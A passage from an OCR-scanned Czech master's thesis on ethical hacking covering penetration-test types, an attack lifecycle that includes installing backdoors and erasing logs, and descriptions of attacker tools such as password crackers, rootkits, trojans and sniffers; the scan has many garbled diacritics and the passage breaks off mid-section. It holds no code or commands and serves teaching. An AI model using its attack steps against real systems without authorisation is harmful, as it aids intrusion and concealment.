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ABSTRAKT

Diplomova prace tesi problematiku hackingu a bezpec¢nosti informacnich systému a
pocitacl. Seznamuje Ctenafe s technikami a ndastroji, které utoCnici 1 bezpecnostni
specialisté pouzivaji pfi pokusech o prinik, nebo poskozeni systému. Prakticka ¢ast je
zpracovana jako navod k priniku do zabezpecené sité, zjiSténi zranitelnosti a exploitace. A

doporucuje zakladni moznou obranu pied témito utoky.

Kli¢ova slova: Eticky hacking, hacking, cracking, penetracni testovani, bezpe¢nostni

audity, bezpec¢nost, exploity, backtrack, u¢ebni pomucka, hesla, skenovani

ABSTRACT

The Master’s thesis deals with the issue of hacking and security of information systems
and computers. It introduces readers with techniques and tools that attackers and security
experts use when attempts to penetrate or damage the system. The practical part is
processed as a guide to penetrate the secured network, identifying vulnerabilities and

exploitation and recommends a basic possible defense against these attacks.

Keywords: Ethical hacking, hacking, cracking, penetration tests, security audits, security,
exploits, backtrack, teaching aid, passwords, scaning
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UvoD

V dne$ni dobé, kdy se neustale objevuji nové hardwarové a softwarové technologie a
celosvétova sit’ Internet se stale mohutné rozpina, se do povédomi jednotlivcl 1 firem
dostava otazka, ohledné bezpecnosti informaci v pocitaCovych systémech, sitich a na
Internetu, ktera byla diive opomijena. Informace, které byly kdysi ukladany pouze ve
fyzické formé, napiiklad na papite, stacilo chranit jen fyzickym zabezpecenim objektu. Ale
nyni, kdy firmy sdileji data na svych intranetech a jednotlivci pfesouvaji své zZivoty na
internet, kde se stavaji snadnym cilem hackert, je nutné tuto otazku tesit. Tuto otazku se
snazi fesit eticky hacking.

V teoretické Casti prace se budu zabyvat etickym hackingem ve formé penetracnich testd,
popiSu typy a zplusoby provedeni bezpecnostnich testli. Pokusim se definovat informacni
systémy. Popisu zdkladni pomicky a metody hackert, které jim pomahaji k infiltracim a

utoktm.

Hlavnim cilem praktick¢é c¢asti bude vypracovani podrobného ndvodu k napadeni
bezdratové internetové site, jeji prizkum, sbér informaci a utok na pocitac. V druhé casti
opét ve forme navodu provedu maly penetracni test vybrané internetové stranky. Vystupem
tedy bude popis postupi, ktery by mél slouzit jako uclebni pomtcka pro predmét

Bezpec¢nost informacnich systémi.



UTB ve Zliné, Fakulta aplikované informatiky, 2010

10

. TEORETICKA CAST
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1 ETICKY HACKING

Firmy 1 jednotlivci musi védét, jak dochazi ke Skodam, aby jim mohli pfedchazet. Firmy
navic musi mit jasnou ptedstavu o tom, jaké riziko pro n¢ utoky predstavuji. Pfedstavme si
firmu SpimeKlidné s.r.o., kterd svym zaméstnanctim dovoluje sdileni adresaiti, souborii
anebo celych pevnych diskl, aby méli co nejrychlejsi a nejjednodussi pristup k datim.
Firma si uvédomuje, ze by tento systém mohl data vystavit nebezpeci, ale jelikoz zadny ze
soubort neni tajny, nic vazného se podle ni nemuze stat. Vazny bezpecnostni problém —
ktery by mél eticky hacker odhalit — nastdva v okamziku, kdy se uto¢nik skrz sluzbu pro
sdileni souborii dostane do pocitace samotného. Po uspésném nabourani pocitace uto¢nik

do systému nejspiSe nainstaluje zadni vratka a skrz napadeny pocitac se pusti do prace na

vvvvvv

Obrovsky pocet funkci poskytovanych firemni siti, databazi a béznymi aplikacemi je
nastrojem, ktery uto¢nik mize pouzit proti firm¢. Jde o zndmy rozpor mezi poctem funkei
systému a jeho bezpec€nosti, se kterym se musi vyporadat kazda firma. Zde kromé¢ jiného
leZi pticina malé popularity bezpecnostnich pracovnikl — zabezpec€eni prostiedi se vétSinou
neobejde bez omezeni nebo uplného vypnuti funkci, na kterych uzivatelé visi. Kdyz
nékomu feknete, ze uZ nesmi pouZivat software pro sdileni hudby, otevirat poStovni
ptilohy, pouZivat applety nebo JavaScript v elektronické posté anebo vypinat antivir, ktery
zpomaluje praci s pocitatem, vétSinou si misto pozvanky na patecni sraz vyslouZite
prezdivku ,,Pan Ne*“. Odpovédnost za rovnovahu mezi funk¢nosti a bezpe€nosti firmy je

tvrda prace.

Ukolem etického hackera je tyto sitové nebo poéitadové sluzby najit a posoudit, jak by je
dokézal nepfitel zneuzit. Této praci se fikd penetracni testovani a od béZného hledéani

slabych mist se 1isi. [1]

1.1 Hledani slabych mist

Hledani slabych mist (vulnerability assessment) se vétSinou provadi sitovy skenerem na
steroidech, pomoci rtiznych nastroji pro automatické skenovani (Nessus, Retina, Heat,
Internet Security Scanner atd.) se projdou porty a sluzby v celém bloku IP adres. VétSina
z téchto nastroji umi zjistit i typ opera¢niho systému a aplikaci, jejich verze, nainstalované
zaplaty, uzivatelské ucty a data SNMP. Nékteré z nich umi i nizkourovitové hadani hesel

hrubou silou. Vysledky se srovnaji se slabymi misty v databazi ptislusného softwaru a



UTB ve Zliné, Fakulta aplikované informatiky, 2010 12

dostanete velkou hromadu papirt, kterd popisuje slaba mista vSech systému a odpovidajici
obranu, kterou se jich mlzete zbavit. Vysledny seznam V podstaté fika ,,tyto chyby v siti
mate a toto musite ud¢lat, abyste se jich zbavili.“ Novackim tento popis vétSinou piipada
jako vyfizena véc, diky které jsou vSechny bezpecnostni problémy zazehnany. Tomuto
falesnému pocitu bezpeci ale mize podlehnout jen ten, kdo nechape slozitost informac¢nich
technologii. Problém je v tom, ze se spoléhdte na hromadu papiru napsanou né&jakym
automatizovanym nastrojem — na informace, které nejsou ohodnocené v kontextu vaseho
prostiedi. Nékteré z automatickych nastroji naptiklad ozna¢i jako vysoce nebezpecné
chyby, které v daném prostfedi nemusi ptedstavovat vazné realné riziko. Programy také
napiiklad nerozumi tomu, jak lze malou a téméf nevyznamnou chybu zneuzit k vétSimu

organizovanému utoku.

Hledani slabych mist je ideédlni pro odhaleni zdkladnich bezpecnostnich problémi systému,
ale na skutecné odzkouSeni a posouzeni rizika plynouciho z nalezenych chyb je vétSinou

potieba eticky hacker. [1]

1.2 Penetracni testovani

Penetracni testovani je pfrilezitosti pro kouzla etického hackera. Ten mize ptezkouset
chyby nalezené béhem hledani slabych mist, aby zjistil, které z nich ptedstavuji skute¢né
riziko, anebo se muze pustit do samostatného testovani, pii kterém se vSemi moznymi

prostiedky zkusi dostat do firemni sité.

Pfi penetracnim testovani se eticky hacker snazi dostat do libovolného systému a odtud dal
a dal do sité, dokud nema pod palcem cely systém. Hra kon¢i tehdy, kdyz se mu podaii
ktery ma pravo spravovat viechny sitové prostfedky. Ucelem je zakaznikovi (firmé&)

ukazat, co by za stavajicich podminek mohl ud¢€lat skutecny ttoc¢nik.

Béhem pokusti o ovladnuti celého systému eticky hacker Casto sbird 1 dal$i vyznamné
trofeje, napiiklad hesla fediteld, tajnou firemni dokumentaci, spravcovska hesla ke
hrani¢nim smérovacim, tajné dokumenty z notebookli finan¢niho feditele a vedouciho
informatiky anebo ¢iselnou kombinaci firemniho sejfu. Tyto trofeje pak poméhaji posoudit
riziko, které bezpecnostni chyby pro firmu pfedstavuji. Bezpe€nostni personal mize
prednaset hodiny riznym feditelim o sluzbach, otevienych portech, chybné konfiguraci a

potencialu hackert, aniz by se mu podaftilo sdélit rozumnou pointu. Jakmile ale finan¢nimu



UTB ve Zliné, Fakulta aplikované informatiky, 2010 13

fediteli ukéze jeho vlastni predpovédi riistu na pristi rok, fediteli vyvoje plany na novy
vyrobek a generalnimu fediteli sdélite jeho heslo, jesté radi se vsichni pouci o dilezitosti

firewallu a dalSich obrannych technologii, které je v siti potifeba nasadit.

Hledani slabych mist ma za ukol najit seznam vSech zneuzitelnych chyb. Penetracni test by
m¢él firme¢ ukazat, jak by tyto chyby dokézal zneuzit skute¢ny utoc¢nik, a nakonec by mély
pfijit rady, jak riziko spojené s jednotlivymi chybami snizit a zvysit bezpecnost celé sité.

[1]

1.3 Typy penetracnich testi

Penetraéni testy lze rozdélit podle testovaného prostiedi a mnozstvi znalosti o testovaném

systému.

1.3.1 Externi testy

Pfi externim penetracnim testu se simuluje utok z vnéjSiho prostfedi. Tester simuluje
poc¢indni potencionalniho uto¢nika, ktery se pokousi o pfistup z Internetu. Cilem testd je
provétit zabezpeceni internetového piipojeni a informacnich systému a sluzeb, které jsou

pfistupné z Internetu.

1.3.2 Interni testy

Pfi internim penetra¢nim testu se simuluje utok bézného neprivilegovaného uzivatele z
interni sité (napf. zaméstnance), ktery se snazi ziskat pfistup k datim, ke kterym nema
pravo se dostat. Testuji se vnitini bezpecnostni mechanizmy, které by tyto data mély
chranit pfed neopravnénym ziskanim a ptipadnym zneuzitim internich informaci — a to jak
umyslné (napf. ziskani citlivych dat za ucelem prodeje), tak neimysIné (napt. nasledkem

chyby v implementaci informacniho systému).

1.3.3 Black-box testy

Black box testovani, znamé také jako opaque box, closed box, behavioral nebo funkéni je

realizovano bez znalosti vnitini datové a programové struktury.

To znamend, ze tester nema k dispozici Zddnou dokumentaci, bindrni ani zdrojové kody.
Tento zplsob testovani vyzaduje testovaci scénare, které jsou bud’ poskytnuty testerovi,
nebo si je tester u nékterych typua testli sam vytvari. Vzhledem k tomu, Ze jsou obvykle

definovany typy a rozsahy hodnot pfipustnych a neptipustnych pro danou aplikaci a tester
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vi, jaky zadal vstup, tak vi i jaky vystup nebo chovani mlze od aplikace ocekévat. Black
box testy mohou stejné jako white box testy probihat ru¢né nebo automatizované za pouziti
nejruznéjsich nastroju. I v tomto piipade se s oblibou vyuziva obou piistupi. Black box se

jevi jako idealni tam, kde jsou piesné definované vstupy a rozsahy moznych hodnot. [2]

1.3.4 Gray-box testy

Grey box testovani, zndmé téz jako translucent box predpoklada omezenou znalost
internich datovych a programovych struktur za tc¢elem navrhnuti vhodnych testovacich

scénar, které se realizuji na Grovni black box.

Zpisob testovani je tak kombinaci black box a white box testovani. Nejedna se o black
box, protoze tester znd nékteré vnitini struktury, ale zaroven se nejednd ani o white box,
protoze znalosti vnitinich struktur nejdou do hloubky. Koncept grey box testovani je velice
jednoduchy. Jestlize tester vi, jak produkt funguje uvnitf, potom ho muze lépe otestovat
zvenku. Gray box test, stejné jako black box test je tedy provadén zvenku, ale tester je 1épe

informovan, jak jednotlivé komponenty funguji a spolupracuji. [2]

1.3.5 White-box testy

White box testovani, znamé téz jako glass box, clear box, open box nebo také strukturalni,

piedpoklada znalosti vnitini struktury.

Ptesnéji feCeno vyzaduje znalost vnitinich datovych a programovych struktur a také toho,
jak je systém naimplementovan. Testerovi jsou v piipadé white box testovani poskytnuty
veskeré informace, to znamend, Ze ma k dispozici nejen pfisluSnou dokumentaci, ale 1
binarni a zdrojovy kod testované aplikace. Tester musi zdrojovému kdédu porozumét a
analyzovat ho. Né&kdy se tomuto zpisobu testovani fika také audit zdrojového kodu.
Zahrani¢ni literatura mad pro tuto ¢innost oznaCeni ‘code-review’ exercise. White box
testovani mize probihat zcela automatizované nebo ru¢né. V praxi se vSak velice asto oba
tyto zptsoby vhodné kombinuji. Existuji v zasad€ dva typy analytickych nastroja, ty které
pozaduji zdrojovy kod a ty, které jsou schopny v ptipadé€, Ze zdrojovy kod neni k dispozici,
provést automatickou dekompilaci binarniho kodu a zdrojovy kod si de-facto vyrobit a ten

poté fadek po fadku analyzovat. [2]

1.4 Pribéh penetracniho testu

Bézny utoénikav postup podle [1]
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Krok Popis Priklady
Prizkum Aktivni nebo pasivni sbér informaci | Odposlech sitového provozu,

o siti. odposlechy obecné (pasivni);
prohledavani ARIN a Whois,
prizkum HTML koédu webovych
stranek firmy, socidlni utoky
(aktivni).

Skenovani Nalezeni systému a sluzeb, které na | Hromadny ping, skenovani porti.
nich bézi.

Ziskani Zneuziti néjaké zndmé Zneuziti preteCeni bufferu nebo

piistupu bezpecnostni diry k ziskani pfistupu | uhodnuti hesla hrubou silou.

do systému.

Udrzeni Nahrani softwaru, ktery se postard | Instalace zadnich vratek.
pristupu o uto¢nikiv budouci pristup

K pocitaéi.

Zametani Zamaskovani ¢innosti, kterou Smazani nebo uprava dat
stop utoénik v systému provadi. V systémovém protokolu a

aplika¢nich protokolech.

Tab. 1 Prabéh utoku [1]

141 Priazkum

Pfi prvnim kroku se snazime, bez internich informaci ziskat co nejvic informaci o cili. Ty

muzeme ziskat aktivné, nebo pasivng.

Pti aktivnim prizkumu tester riznymi nastroji zkouma sit’, nebo rtizné dostupné databaze

jako Whois, ARIN, RIPE aby napiiklad zjistil rozsah IP adres, jmenné servery a jména

kontaktnich osob.

Pasivni prizkum znamena prochazeni dalSich voln€ dostupnych materialti o testovaném

objektu, jakou jsou internetové stranky, vyro¢ni zpravy a dalsi, ze kterych se miZe

dozvédét dalsi uzitecné véci, jako software a technologie, které pouzivaji.
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1.4.2 Skenovani

Zde se tester snazi naleznout v cilové siti chyby, které mu umozni vstup do systému.
Skenuje porty a zjistuje, jaké sluzby na nich bézi, porovnava je seznamy znamych
sitovych chyb. Pomoci NetBIOS protokolu se snazi udélat si seznam sitovych jednotek a

najit nezaplatované ¢asti operacniho systému.

Vysledkem skenovani by tedy mél byt seznam systém, které¢ by mohl diky bezpecnostnim

chybam néjakym zptisobem ovladnout.

1.4.3 Ziskani pristupu

Diky seznamu, ktery tester ziskal pfi skenovani, se mize vénovat jen slabym mistim a skrz
n¢ ziskat pfistup do systému. K tomu pouziva nejriznéjsi exploity na nalezené chyby.
SnaZi se ziskat co nejvyssi uZivatelskd prava v nabouraném systému. Eticky hacker si také
pofizuje ditkazy o vniknuti do systému, které poté pouzije pfi predlozeni vysledku majiteli

systému.

1.4.4 UdrZeni pristupu

Aby mohl tester pfistupovat do nabouraného systému i pozdéji, tieba i jednodussi cestou,
instaluje backdoor aplikace, které mu to umozni (viz. dale).

145 Zametani stop

V poslednim kroku se tester snazi smazat zdznamy V nejriznéjSich logovacich souborech,
ze byl v systému. Tim si také mtze udrzet dal$i mozny pfistup, protoze se spravce nebude
snazit hledat chyby nebo backdoory, stejné jako kdyby to udélal, kdyz by zjistil

neopravnény piistup.

1.5 Metodika provadéni penetracnich testu

Postupy provadéni penetracnich testl, nejen piimo technickymi aspekty, ale 1

marketingovymi, obchodnimi a pravnimi se zabyvaji mezindrodné uznavané metodiky.

151 OSSTMM

Open Source Security Testing Methodology Manual, je metodika, kterd vzniké na zakladé
kolektivnich posudkli a recenzi pfednich odbornikli na informacni bezpecnost organizace

ISECOM, a je urcena k provadeéni bezpecnostnich testli a jejich hodnoceni. Tato metodika
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definuje zékladni kategorie, které souhrnné testuji kontrolu informaci a dat, bezpecnostni
povédomi zaméstnanci, ochranu pted podvody a socidlnim inzenyrstvim, pocitacové a
telekomunikacni sité, bezdratova a mobilni zafizeni, fyzickou bezpecnost, bezpecnostni
procesy, fyzické objekty jako budovy, oblasti ¢i vojenské zakladny. Metodika je oteviena a

vice informaci naleznete na strankach http://www.isecom.org/osstmm/ [3]

Process Security

Information Physical
Security Security

Internet
Communications Technology
Security Wireless Security
Security

Obr. 1 Rozdé&leni OSSTMM

Podle [4] ISECOM svij nezavisly vyzkum plati prostiednictvim profesionalnich
certifikaci, které se zamétuji na aplikovani dovednosti v odborném testovani bezpecnosti,
analyze, metodickych postupech a profesnich standardech. Jednotlivei mohou ziskat

certifikaci v nasledujicich OSSTMM rolich:

e Profesiondlni bezpecnostni tester (OPST)

e Profesiondlni bezpecnostni analytik (OPSA)

e Profesionalni bezpecnostni expert (OPSE)

e Expert zabezpeceni bezdratovych siti (OWSE)
e Certifikovany Trust Analytik (CTA)


http://www.isecom.org/osstmm/
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Jedna se o oficidlni certifikace ISECOM, které poukazuji na znalosti a dovednosti, které

jsou potiebné k vykonu danych roli v souladu s OSSTMM.

1.5.2 OWASP

Open Web Application Security Project - je komunita bezpecnostnich odbornikd, ktera
vznikla jako podplrnd organizace pro kazdého, kdo mé zdjem o vyvoj, nasazovani a
podporu aplikaci, kterym se mize diverovat. Klade si za cil napomahat tvorbé softwaru,
ktery je nejen funk¢ni, ale splituje bezpe¢nostni standardy zajist'ujici poskytovani aplikace,
ale 1 bezpecnost dat. Metodika je oteviend a vice informaci naleznete na strdnkéach

http://www.owasp.org/ [3]

1.6 Kritéria pro uspéSny penetra¢ni test

Pfi penetracnim testovani je nezbytné stanovit casovy harmonogram, pfesné podminky pro
start a dokonceni penetrac¢niho testu a hlavné vSe smluvné podlozit. Firmy zabyvajici se
témito testy, maji vypracované sady pravidel, kterymi se fidi, aby neposkodily své dobré

jméno ani zdkaznika, ale splnily i jeho poZzadavky.
Konkrétnim cilem, ktery definuje klient, miZze byt:

e Piistup k internim zdrojlim

e Cteni omezenych souborti

e Zména omezenych souborti

e Cteni transakénich dat

e Spusténi programu nebo transakce

e Piistup ke vSem uZzivatelsky u¢tim
e Piistup k administratorskym uctim

e Kontrolovat systémy pro spravu sité

Nespravné definované podminky ukonceni penetracniho testu mohou vyustit v nenaplnéna
ocekavani, nedorozuméni nebo v pravdépodobné nejhorsi mozny vysledek, falesny pocit

bezpeci.

1.7 Zavér penetra¢niho testovani

Penetracni testovani ma jak své vyhody, tak 1 nevyhody. Mezi vyhody lze zatadit fakt, ze

odhalenim zranitelnosti, mizeme piesvéd¢it zakaznika, aby se zaCal vice zajimat o


http://www.owasp.org/
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bezpecnost své sit¢ a aplikaci. Na druhou stranu mu tim ale mizeme dat pocit falesSného
bezpeci. Protoze penetracni testovani se nezabyva vSemi potenciondlnimi slabinami,
neochrani pfed socidlnim inZenyrstvim, chybami uzivatell, ani pied zranitelnostmi, které
se objevi az po testovani. A je jasné, ze skutecni utocnici jsou vzdy o krok vptedu pred

administratory siti, ale i tvlirci softwaru.
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2 INFORMACNI SYSTEM

Ptesnd definice pojmu Informacni systém neexistuje a ani ji nelze jednoduse vytvofit,
nebot’ kazdy uzivatel ¢i tvirce Informacniho systému pouziva rtizné terminologie a
zdiraziuje jiné aspekty. Mizeme vSak fici, Ze Informacni systém (IS) lze chépat jako
systém vzajemné propojenych informaci a procesii, které s témito informacemi pracuji.
Pfi¢emz pod pojmem procesy rozumime funkce, které zpracovavaji informace do systému
vstupujici a transformuji je na informace ze systému vystupujici. Zjednodusené mizeme
fici, ze procesy jsou funkce zabezpecujici sbér, pfenos, ulozeni, zpracovani a distribuci
informaci. Pod pojmem informace pak rozumime data, kterd slouzi zejména pro

rozhodovéni a fizeni v rozsdhlejSim systému.

Do celkové funkce IS se také promitd nezanedbatelna polozka okoli. Okoli informac¢niho
systému tvoii veskeré objekty, které zménou svych vlastnosti ovliviiuji samotny systém a

také objekty, které naopak méni své vlastnosti v zavislosti na systému.

Celkovée tedy mliZzeme fici, ze IS je softwarové vybaveni firmy, které je schopné na zakladé
zpracovavanych informaci fidit procesy podniku nebo poskytovat tyto informace fidicim
pracovnikiim tak, aby byli schopni vykonavat fidici funkce, mezi které patii zejména

planovani, koordinace a kontrola veskerych procesu firmy. [5]

2.1 Uloha IS v soucasnych firmach

Kvalitni IS je v soucasnosti nutnou podminkou uspé€Snosti firem ve vSech oblastech
podnikani. Hlavnim diivodem nutnosti vlastnit kvalitni IS je to, Ze Informacni systém je

jednim z hlavnich faktort efektivnosti fizeni a konkurenceschopnosti firmy.

Potfeba kvalitniho IS roste s vyznamem informace a dne$ni firmy jsou zavislé na
kvalitnich a v€asnych informacich. Tato situace je zpisobena predevSim prudkym rastem
informatizace spoleCnosti, a pravé proto se v poslednich letech vyrazné, a to az
nékolikandsobné, zvysSuji objemy financ¢nich prostfedkli investovanych do inovace

Informacnich systémi a Informacni technologie (IS/IT). [5]

2.2 Informace

Informace je subjekt, ktery obsahuje pro néas dilezitd data a ulohou IS je tyto informace
nam poskytovat. Z matematického hlediska lze informaci chapat jako veli¢inu, ktera

¢iseln¢ vyjadiuje zmensSeni neurcitosti nebo z vyznamového hlediska 1ze informaci chapat
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jako oznameni, piikaz ¢i zdkaz, kterym se u pfijemce zmenSuje neznalost faktli nebo
nejistota v rozhodovani. Informace musime ziskavat, ptenéset, oprostit je od nezadoucich
a predat na misto urceni. Veskerou tuto cinnost provadi IS prostfednictvim lidi,
technickych prostfedkii a metod tak, aby se zabezpecil dostatek informaci ve spravném

Case a na spravném misté. [5]
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3 UTOKY NA POCITACOVE SITE

3.1 Hackerské nastroje

K pocitatovym utoktim, kterym chce uto¢nik ziskat neopravnény pfistup do systému, nebo

ke spusténi Skodlivého kodu, je pouzivano velké mnozstvi nastroju a technik.

3.1.1 Prolamovace hesel

»Password crackers® jsou jednim z nejstarSich nastrojii pouzivanych hackery. Slouzi, jak
jiz nazev napovida K prolomeni ochrany nebo autorizace, kterd je provadéna heslem.
Princip jejich prace je jednoduchy — zkouSi nejriizn€j$i kombinace znakil, které podle
uvazeni autora prolamovace nebo jeho uzivatele piipadaji v ivahu a pokud autorizace
projde, je nalezené spravné heslo odeslano hackerovi. Pouzivaji se dva zakladni druhy

utoku realizovanych prolamovaci hesel:

e slovnikové utoky (dictionary attack), které zkousi pouzit znama slova z vlastni
databaze slov,

e utoky hrubou silou (brute-force attack), které postupné generuji vSechny mozné
kombinace potiebné délky z vybranych znaka a zkousi, zda ndhodou nevyhovuji

zadanému heslu.

Kvalitni prolamovace obsahuji velké slovniky (tzv. wordlisty) moznych znakovych
kombinaci, z nichz sestavuji hesla, coZ umoziuje rychlejsi nalezeni shody, nebot’ jsou
odstranény zcela nesmyslné (alespon podle autora slovniku) kombinace znaki. Jejich
pouziti je snadné, mnohdy disponuji kvalitnim a pfehlednym grafickym rozhranim, které
umoziuje nastavit parametry prolamovani hesla. Jejich kvalita se da posoudit podle obsahu

slovniku a zeyména rychlosti, se kterou dokaZi generovand hesla ovéfovat.
K nejvyznamnéjSim faktorim, které ovliviuji rychlost prolamovace patii:

e rychlost procesoru pocitace, na kterém nastroj bézi
e typ prolamovaného hesla,
e umisténi dat nebo souboru (na lokalnim disku, v siti, na webu apod.),

e strukturu zakddovaného souboru.

Tabulka 2 uvadi odhady ¢asu potiebného na prolomeni hesla, kdyz budeme pouzivat bézny
stolni pocita¢ a metodu hrubého Utoku. Tato tabulka vychéazi z poctu vSech moznych

kombinaci pouzitych znakt a odhadované rychlosti prace bézného prolamovace.
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Kombinace pouzita pro heslo

Odhad doby prace prolamovace

4 velka nebo mala pismena

nékolik sekund

4 velkd a mala pismena, libovoln¢ kombinovana

nékolik sekund

4 velka a mala pismena a Cislice v libovolné kombinaci

nékolik sekund

5 velkych a malych pismen

mén¢ nez jedna minuta

5 velkych a malych pismen v libovolné kombinaci cca 6 minut
5 velkych a malych pismen a Cislic v libovolné )
o cca 15 minut
kombinaci
8 velkych a malych pismen cca 58 hodin

8 velkych a malych pismen v libovolné kombinaci

cca 21 mésicu

8 velkych a malych pismen a ¢islic v libovolné

o cca7 let
kombinaci
10 velkych a malych pismen ccab let
10 velkych a malych pismen v libovolné kombinaci cca 4648 let

10 velkych a malych pismen a ¢islic v libovolné

kombinaci

cca 26984 let

Tab. 2 Odhad doby prace prolamovace podle typu hesla [6]

3.1.2 Backdoors

Backdoors neboli zadni vratka jsou velmi vystiZnym nazvem pro kody, které po instalaci

na cilovy pocita¢ umoziuji jeho vzdalené fizeni. Jedna se o oblibeny hackersky nastroj,

jakmile hacker objevi bezpecnostni diru, jeho prvnim krokem je nainstalovani Backdoors.

Typicky hacker méa vzdy v zaloze né€kolik pocitaci s tajn€ nainstalovanym néstrojem pro

vzdalené Fizeni, a ¢im je lep$i, tim vice stroji ma k dispozici. Tyto, tzv. kompromitované

stroje jsou pak pouzivany k podnikani dal$ich witokt na cilovy stroj. Casto tento fetdz mezi

uto¢nikem a cilovym strojem muiiZze mit i deset nebo vice zkompromitovanych stroji, které

izoluji a chrani ptivodniho uto¢nika pied odhalenim.

Kvalitni backdoor lze téZko zjistit, zvlasté pokud neni Casto pouzivan a hackerovi

poskytuje tplnou kontrolu nad kompromitovanym strojem. Komunikace mezi nastrojem
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uvniti kompromitovaného pocitace a hackerem se uskutecituje pomoci nastrojem spusténé
sluzby na portu s vysokym ¢islem nebo je maskovana jako standartni sluzba jako napf. http
(webovy piistup, port 80), telnet (terminalovy pfistup, port 23) nebo ssh (kryptovany kanal
na portu 22). Tyto maskované sluzby vétSinou nejsou odfiltrovany firewally, jsou
pfistupné 1 pifes bezpeCnostni prvky sité. Moderni backdoors maji zdokonalenou
komunikaci a vyuzivaji vétSinou protokold nékterych interaktivnich néastroji komunikace
jako je IRC, oblibené ICQ nebo MSN messenger. To umoznuje lepsi ukryti komunikace a
jisty komunikaéni komfort. [6]

3.1.3 Skenery

Skenery slouzi pro zjisténi otevienych portli pocitace, a tedy i sluzeb, které na ném bézi.
Skener tak uto¢nikovi velmi rychle zjisti zdkladni informace o cilovém pocitaci a mize
slouzit 1 k ziskani informaci o opera¢nim systému. Sken otevienych porti muizZe byt
piedzvésti potencionalniho Gtoku, a proto se systémy snazi tyto tzv. portskeny detekovat a
spojeni moznému Uto¢nikovi na né&jakou dobu znemoznit nebo ucinit jina bezpecnostni

opatieni.

Problém skenovani spociva zejména v riznych nebo spiSe rizné presnych implementacich
sitovych protokolll a jejich standardii. Tyto odchylky v implementaci na jedné strané
mohou skenovani znaén€ komplikovat a davat falesné vysledky, na druhé strané ale
umoziuji nenapadnou detekci systémi podle odchylek v detailech implementace
standardi. Kromé& detekce otevienych portli umoZiuji skenery i identifikaci sluzby, ktera

jen béZzi na ptislusném portu.
3.1.4 Rootkity

Rootkit je podle definice soubor technik pro skryvani ¢innosti provadénych na operacnim
sytému. Samotny néazev ,rootkit“ je pon€kud zavadejici a vychdzi z prostfedi, v némz
rootkity vznikly — z unixovych systémi a vychazi z pojmenovani uctu superuzivatele
neboli administratora unixového systému. Jedna se o podmnozinu nastroju backdoors a i
jejich funkce je velmi podobna. AvSak na rozdil od backdoors, které na unix-like systému
budou pravdépodobné brzo odhaleny, rootkit zstava po kompromitaci G¢tu superuZivatele
stale v utajeni. V praxi jde vlastn€ o upravené bézné¢ uzivané systémové programy jako
napf. ps, top, inetd nebo jingé, které jsou modifikovany tak, aby administrator nic nepoznal

a hacker mé¢l ke stroji neomezeny piistup. [6]
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3.1.5 Trojské koné

Trojské koné patii mezi nejoblibenéjsi hackerské nastroje soucasnosti. Jedna se o malé
programy, které jsou zabaleny do voln¢ stazitelného kodu utility nebo do nové bezplatné
poskytované hry. Trojské kon¢€ se pouzivaji na nejriiznéjsi ucely, od pouhého monitorovani
¢innosti cilového pocitace az po zneuziti pro utok DoS. Zajimavou variantou trojskych
koni jsou ,,dataminery” neboli programy, které po nainstalovani monitoruji ¢innosti
uzivatele a zajimavé udaje odesilaji do sbérmého mista. Ty rozliSuje podle piredem
znamych kritérii, napf. pfi pfihlaSovani k ¢tu v bance zaznamena stisknuté klavesy, a tak

prozradi hackerovi piistupové kody k manipulaci s tétem.

3.1.6 Pocitacové viry

Definice viru podle [7] Virus je typ programu, ktery se dokaze sam §ifit tim, Ze vytvaii
(n€kdy upravené) kopie sebe sama. Hlavnim kritériem pro posouzeni programu jako viru je
fakt, ze k Sifeni vyuziva jiné soubory — hostitele. Virus se mezi dvéma pocitaci mulize
prenést jediné tim, ze nékdo prenese celého hostitele, napt. né¢jaky uzivatel (obvykle
neumyslng) prenese soubor na disketé ¢i CD-ROM nebo ho posle prostiednictvim
pocitacoveé site.

Jako viry jsou n¢kdy nespravn€ oznacovany jiné druhy nebezpecnych programt, hlavné
Cervi. Rozdil mezi Cervy a virem spocivd v tom, Ze Cerv je schopen se Sifit sdm, bez
zavislosti na pienosu hostitele. V dnesni dobé bouilivého rozvoje Internetu se ¢ervi mohou
Sifit velice rychle. Ale i pro klasické viry je snadnost Sifeni souborli prostfednictvim

Internetu vyhodou, takZe se rozdily mezi viry a ¢ervy do jisté miry ztraci.

3.1.7 Pocitacovi Cervi

Jsou samo Sifici se programy, které jsou vytvorené tak, aby vyuzivaly pocitacové sité a
rozesilaly své kopie do dalSich pocitacii. Na hostitelském pocitaci bézi jako samostatny
proces a snazi se ziskat kontrolu nad systémem, aby se mohl dal sifit. Jeho dalsi ukoly

jsou:

e poskozeni funkce pocitace, zahlceni, zpomaleni,
e mazani soubort v pocitaci,
e ziskavani osobnich dat,

e vytvofeni zadnich vratek do systému (backdoor) pro dalsi ttoky.
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3.1.8 Spyware

Spyware je program, ktery si uzivatel instaluje vétSinou sam, nevédomky, spole¢né s jinym
programem. M4 za ukol sbirat o uzivateli nejriiznéjsi data, ktera pak odesila na vzdalené
servery k dal$i analyze. Varianty, které nejsou pfili§ nebezpe¢né, odesilaji informace o
navstivenych strankach nebo nainstalovanych programech a tyto pak vyuzit k lepSimu
cileni reklamy. Existuji ale i nebezpecné varianty, které mohou odesilat citlivé informace
nebo nezadoucim zptusobem ovliviiuje fungovani pocitae (zpomaleni, pop-up reklamy,
dialery, umoznéni vzdaleného ovladani pocitate uto¢nikem, nestabilita operac¢niho

systému).

3.2 Sitové utoky

Sitovymi Utoky mulZe Utocnik ziskavat béhem odposlouchavani sitového provozu fadu
informaci a dat, ke kterym by za normalnich okolnosti nemél mit pfistup. Nebo muze

vyradit z provozu pocitace, servery nebo sitové sluzby.

3.2.1 Sniffing

Slovo ,,sniff* znamena v anglictin€ ,,Cichat®, ,,¢enichat” nebo ,,muchat* a nazev ,,sniffer*
je tedy ptiléhavou volbou pro program odposlouchavajici sitovy provoz a ,,émuchajici®, co
se kde déje. Nejedna se ptimo o nastroj utoku, spiSe o prostiedek k shromazdéni informaci
potiebnych pro piipravu ttoku. Rozhodujici pro ziskani spravnych informaci je umisténi
snifferu v siti. Zejména v ptepinanych sitich, kde je spole¢ny segment minimalizovan, je

pouziti snifferu problematické, nebot’ vétSina informaci jde mimo sniffer.

Préce snifferu je jednoducha, pfepne sitové rozhrani do tzv. promiskuitniho médu, a tak
pfijima vSechny pakety, které se na siti pohybuji bez jakékoli dalsi informace. Tyto pakety
jsou pak zaznamenany a dale analyzovany — typ protokolu, IP adresy, MAC adresy,
nastaveni ptfiznakli apod. Soucasti analyzy je vyd¢leni datové Casti s obsahem pienaSené
